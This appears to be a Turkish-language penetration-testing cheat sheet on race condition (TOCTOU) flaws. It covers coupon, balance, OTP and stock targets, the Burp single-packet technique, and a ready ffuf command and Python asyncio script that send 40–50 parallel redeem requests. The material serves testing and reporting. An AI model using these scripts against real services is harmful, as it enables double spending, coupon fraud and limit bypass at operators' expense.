Skip to content

Race Condition

OWASP A04 difficulty: orta

Race Condition, aynı kaynağa eşzamanlı erişen isteklerin kontrol ile eylem arasındaki kısa pencerede (TOCTOU) çakışmasıdır. Klasik etki: tek kullanımlık işlemleri (kupon, para çekme, oy, davet) birden çok kez uygulatmak.

- Hediye kartı / kupon tek kullanım
- Bakiye düşme (aynı parayı iki kez harcama)
- Oy / beğeni / rate limit aşımı
- Kayıt: aynı e-posta ile paralel hesap
- 2FA/OTP deneme limiti penceresi
- Stok: son ürünü birden fazla kişiye satma
- Dosya yükleme / işleme yarışı
- Davet linki / referral ödülü
- "Like once" / "claim reward once"
Limit-overrun → "en fazla 1 kez" kontrolü yarışla aşılır (en yaygın)
Partial construction→ Nesne henüz tamamlanmadan erişilir
(ödeme öncesi sipariş, pending → paid)
Time-gap → uzun süren işlem sırasında ikinci istek
  1. Aday uç seç — check-then-act; tekil olması gereken işlem.

  2. İsteği yakala — Burp Repeater; geçerli tek kullanım isteği (kupon vs.).

  3. Paralel gönder : Burp Repeater → “Send group in parallel (single-packet attack)” (HTTP/2)

  4. Turbo Intruder / race.py

  5. 20–50 eşzamanlı kopya genelde yeter

  6. Sonucu doğrula — çift bakiye, çoklu kupon apply, birden fazla 200 OK, stok negatif, duplicate sipariş ID.

for i in 1..30: POST /apply-coupon {code: SAVE50} # aynı anda
# Beklenen: 1 başarı; gerçek: N başarı → race

PortSwigger: birden çok isteği tek TCP/TLS paketine sığdırarak sunucuya neredeyse aynı anda ulaştırır. HTTP/1.1’de connection başına sıralı giden isteklerde yarış kaçırılabilir.

Burp → Repeater → Create tab group
→ Send group in parallel (single-packet / last-byte sync)
HTTP/2 zorunlu; ALPN h2 doğrula
1) check balance >= 100
2) (yarış penceresi — ikinci istek de check geçer)
3) deduct 100
→ her iki istek geçer → çift harcama / negatif bakiye
1) if !used(coupon): apply()
2) paralel N istek → N apply before used=true commit
□ Paralel parola değiştirme + eski token kullanım
□ Email change confirmation token'ını iki kez kullan
□ Username availability check vs register → duplicate
□ MFA enable/disable yarışı
□ Password reset token parallel consume
Terminal window
ffuf -u https://hedef/api/redeem -X POST -d '{"code":"X"}' \
-H 'Content-Type: application/json' -H 'Cookie: session=...' \
-p 0.0 -t 50 -mc all
import asyncio, httpx
async def main():
async with httpx.AsyncClient() as c:
reqs = [c.post(
"https://hedef/api/redeem",
json={"code": "SAVE50"},
cookies={"session": "USER"},
) for _ in range(40)]
for r in await asyncio.gather(*reqs):
print(r.status_code, r.text[:80])
asyncio.run(main())
READ COMMITTED + non-atomic check → yüksek şans
SELECT FOR UPDATE / transaction yok → aday
Redis INCR atomic ise limit genelde tutar; yoksa race
Idempotency-Key header yokluğu → tekrar dene
□ Aynı kuponun N kez uygulandığını gösteren yanıtlar
□ Bakiye geçmişi / sipariş ID listesi
□ Single-packet zaman damgası (mümkünse)
□ Tekrarlanabilir adımlar (kaç paralel, HTTP/2)
Tek kullanımlık akış bul
→ geçerli isteği 30–50 paralel (HTTP/2 single-packet)
→ N başarı → ekonomik/logic impact raporla